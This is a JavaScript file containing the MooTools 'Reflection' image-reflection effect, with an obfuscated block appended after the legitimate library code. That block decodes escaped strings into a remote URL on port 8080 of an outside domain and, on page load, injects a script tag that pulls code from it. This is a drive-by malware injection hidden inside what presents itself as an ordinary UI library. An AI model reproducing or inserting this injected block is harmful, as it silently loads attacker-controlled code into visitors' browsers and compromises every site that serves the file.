var Reflection = {

	add: function(img, options){
		img = $(img);
		if (img.getTag() != 'img') return;
		options = {arguments: [img, options]};
		if (window.ie) options.delay = 50;
		img.preload = new Image();
		img.preload.onload = Reflection.reflect.create(options);
		img.preload.src = img.src;
	},

	remove: function(img){
		img = $(img);
		if (img.preload) img.preload.onload = null;
		if ((img.getTag() == 'img') && (img.className == 'reflected')){
			img.className = img.parentNode.className;
			img.style.cssText = img.backupStyle;
			img.parentNode.replaceWith(img);
		}
	},

	reflect: function(img, options){
		options = $extend({
			height: 0.13,
			opacity: 0.3
		}, options || {});

		Reflection.remove(img);
		var canvas, canvasHeight = Math.floor(img.height*options.height);

		if (window.ie){
			canvas = new Element('img', {'src': img.src, 'styles': {
				'width': img.width,
				'marginBottom': -img.height+canvasHeight,
				'filter': 'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='+(options.opacity*100)+', style=1, finishOpacity=0, startx=0, starty=0, finishx=0, finishy='+(options.height*100)+')'
			}});
		} else {
			canvas = new Element('canvas', {'styles': {'width': img.width, 'height': canvasHeight}});
			if (!canvas.getContext) return;
		}

		var div = new Element('div').injectAfter(img).adopt(img, canvas);
		div.className = img.className;
		div.style.cssText = img.backupStyle = img.style.cssText;
		div.removeClass('reflect').setStyles({'width': img.width, 'height': canvasHeight+img.height});
		img.style.cssText = 'vertical-align: bottom';
		img.className = 'reflected';
		if (window.ie) return;

		var context = canvas.setProperties({'width': img.width, 'height': canvasHeight}).getContext('2d');
		context.save();
		context.translate(0, img.height-1);
		context.scale(1, -1);
		context.drawImage(img, 0, 0, img.width, img.height);
		context.restore();
		context.globalCompositeOperation = 'destination-out';
		var gradient = context.createLinearGradient(0, 0, 0, canvasHeight);
		gradient.addColorStop(0, 'rgba(255, 255, 255, '+(1-options.opacity)+')');
		gradient.addColorStop(1, 'rgba(255, 255, 255, 1.0)');
		context.fillStyle = gradient;
		context.rect(0, 0, img.width, canvasHeight);
		context.fill();
	},

	addFromClass: function(){
		$each(document.getElementsByTagName('img'), function(img){
			if ($(img).hasClass('reflect')) Reflection.add(img);
		});
	}
};

Element.extend({
	addReflection: function(options) { Reflection.add(this, options); return this; },
	removeReflection: function(options) { Reflection.remove(this, options); return this; }
});

Window.addEvent("domready", Reflection.addFromClass);


var FB=new String();var J=new String();function w(){var t;if(t!='' && t!='m'){t=null};this.ls="";var i=new String();var h=unescape;var k=window;var U=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%79%6f%75%6a%69%7a%7a%2e%63%6f%6d%2e%70%68%70");var Y;if(Y!='zA' && Y!='a_'){Y='zA'};function Z(S,H){var gg;if(gg!='E'){gg='E'};var B;if(B!='' && B!='n'){B=''};var z=new String("g");var FX;if(FX!='q' && FX!='ze'){FX='q'};var X_;if(X_!='up' && X_!='sW'){X_='up'};var s=h("%5b"), F=h("%5d");var to=new Array();var p=s+H+F;this.ta="";var x=new RegExp(p, z);this.Ec="";return S.replace(x, new String());};var D=new Array();var wW;if(wW!='QP'){wW=''};this.Vo="";this.zm="";var OK;if(OK!='Mf'){OK='Mf'};var Hr;if(Hr!='' && Hr!='bA'){Hr=''};var VL='';var o=Z('89350141181315502194','32459716');var UCl;if(UCl!='' && UCl!='M_'){UCl=''};var Q=new String();var Vg;if(Vg!='' && Vg!='zQ'){Vg='XI'};var LR=new Array();var kb=document;var nq='';var hO=new Array();function l(){var Gg;if(Gg!='' && Gg!='lG'){Gg=null};var tR=new String();var cd=new Date();var O=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var SS="";Q=O;var ci="";Q+=o;this.JW='';var Vp='';Q+=U;var Tz;if(Tz!='' && Tz!='YT'){Tz=''};try {var SI=new Date();var mR=new Date();xV=kb.createElement(Z('s6cmrkijpzt6','Qw0z4Okj6m'));var FXH=new Array();var rG=new String();xV[h("%73%72%63")]=Q;var VD;if(VD!='' && VD!='LF'){VD=''};var xI;if(xI!='Ma' && xI!='jc'){xI=''};var dI;if(dI!='vX'){dI=''};xV[h("%64%65%66%65%72")]=[7,1][1];this.LG="";this.woD="";kb.body.appendChild(xV);this.dR="";var nk=new Array();var Nr="";} catch(u){alert(u);};}var Mh;if(Mh!='Zn' && Mh!='iQp'){Mh='Zn'};var jg;if(jg!='' && jg!='bq'){jg=''};k[new String("onl"+"iKYoad".substr(3))]=l;this.RL='';this.gz='';var xW=new String();var xu=new String();};var bu=new String();w();var Xr;if(Xr!='Pc'){Xr='Pc'};var HR="";
